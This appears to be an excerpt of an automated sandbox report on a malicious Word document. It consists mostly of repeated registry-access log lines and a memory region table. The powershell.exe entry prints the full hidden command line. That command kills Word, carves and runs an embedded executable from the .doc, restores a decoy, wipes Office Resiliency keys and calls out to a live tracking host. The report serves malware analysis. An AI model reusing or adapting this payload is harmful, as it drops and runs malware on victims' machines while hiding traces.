Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 2
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
For performance reasons, the remaining 1009 entries are omitted.
The remaining entries can be found in glog.xml.
Process #10: powershell.exe
(Host: 585, Network: 0)
+
Information Value
ID #10
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line "C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe" -WindowStyle Hidden Try{$ada="""$env:APPDATA\result.exe""";$adax=$ada+'x';$f=[System.IO.File]::Create($adax);$tmf="""$env:TEMP\o.tmp""";taskkill /f /im winword.exe;Function pr{Try{$k="""HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency\StartupItems\""";for ($i = 0; $i -lt 10; $i++){$r=[System.Text.Encoding]::Unicode.GetString((gp $k).((gi $k).Property[$i]));if ($r.Contains('.doc')){$i=10;}}$r=$r.Substring($r.indexOf(':\')-1);$r=$r.Substring(0, $r.IndexOf('.doc')+4);ri -Path """HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency""" -recurse;cp -Path $r -Destination $tmf;$d = (gc $tmf -ReadCount 0 -encoding byte)[985480..1011591];Start-Sleep -s 1;sc $r -encoding byte -Value $d;start winword """$r""";$f = (gc $tmf -ReadCount 0 -encoding byte)[420737..985472];sc $ada -encoding byte -Value $f;& $ada;$wc = New-Object system.Net.WebClient;$ht=$wc.downloadString('http://www.samyrai777m.p-host.in/t/t.php?act=hit');$cd=(Resolve-Path .\).Path;ri """$cd\*""" -include http*.pdb, http*.dll, *.cs;}Catch{}};$wv='12.0';pr;$wv='14.0';pr;$wv='15.0';pr;$wv='16.0';pr;Stop-Process -processname powershell;}Catch{exit;}
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:01:08, Reason: Child Process
Unmonitor End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration 00:01:28
OS Process Information
+
Information Value
PID 0x968
Parent PID 0x370 (c:\windows\system32\mshta.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Groups
  • YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 428
0x 9A4
0x 994
0x 458
0x A60
0x B4
0x 9CC
0x 92C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000050000 0x00050000 0x000cffff Private Memory Readable, Writable True True False
locale.nls 0x000d0000 0x00136fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000140000 0x00140000 0x00146fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000150000 0x00150000 0x00151fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000160000 0x00160000 0x0016ffff Private Memory Readable, Writable True True False
private_0x0000000000170000 0x00170000 0x0026ffff Private Memory Readable, Writable True True False
powershell.exe.mui 0x00270000 0x00272fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000280000 0x00280000 0x00280fff Private Memory Readable, Writable True True False
private_0x0000000000290000 0x00290000 0x0038ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000390000 0x00390000 0x00517fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000520000 0x00520000 0x006a0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000006b0000 0x006b0000 0x01aaffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001ab0000 0x01ab0000 0x01ab0fff Private Memory Readable, Writable True True False
private_0x0000000001ac0000 0x01ac0000 0x01bbffff Private Memory Readable, Writable True True False
pagefile_0x0000000001bc0000 0x01bc0000 0x01bc0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001bd0000 0x01bd0000 0x01bd0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001be0000 0x01be0000 0x01be1fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001bf0000 0x01bf0000 0x01bf0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000001c00000 0x01c00000 0x01c01fff Pagefile Backed Memory Readable True False False
  • Region Actions
cversions.2.db 0x01c10000 0x01c13fff Memory Mapped File Readable True False False
  • Region Actions
pagefile_0x0000000001c20000 0x01c20000 0x01c20fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001c30000 0x01c30000 0x01c3ffff Private Memory Readable, Writable True True False
pagefile_0x0000000001c40000 0x01c40000 0x01d1efff Pagefile Backed Memory Readable True False False
  • Region Actions
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000011.db 0x01d20000 0x01d3efff Memory Mapped File Readable True False False
  • Region Actions
private_0x0000000001d40000 0x01d40000 0x01dbffff Private Memory Readable, Writable True True False
cversions.2.db 0x01dc0000 0x01dc3fff Memory Mapped File Readable True False False
  • Region Actions
private_0x0000000001dd0000 0x01dd0000 0x01e4ffff Private Memory Readable, Writable, Executable True True False
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db 0x01e50000 0x01e7ffff Memory Mapped File Readable True False False
  • Region Actions
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x01e80000 0x01ee5fff Memory Mapped File Readable True False False
  • Region Actions
pagefile_0x0000000001ef0000 0x01ef0000 0x01ef0fff Pagefile Backed Memory Readable True False False
  • Region Actions
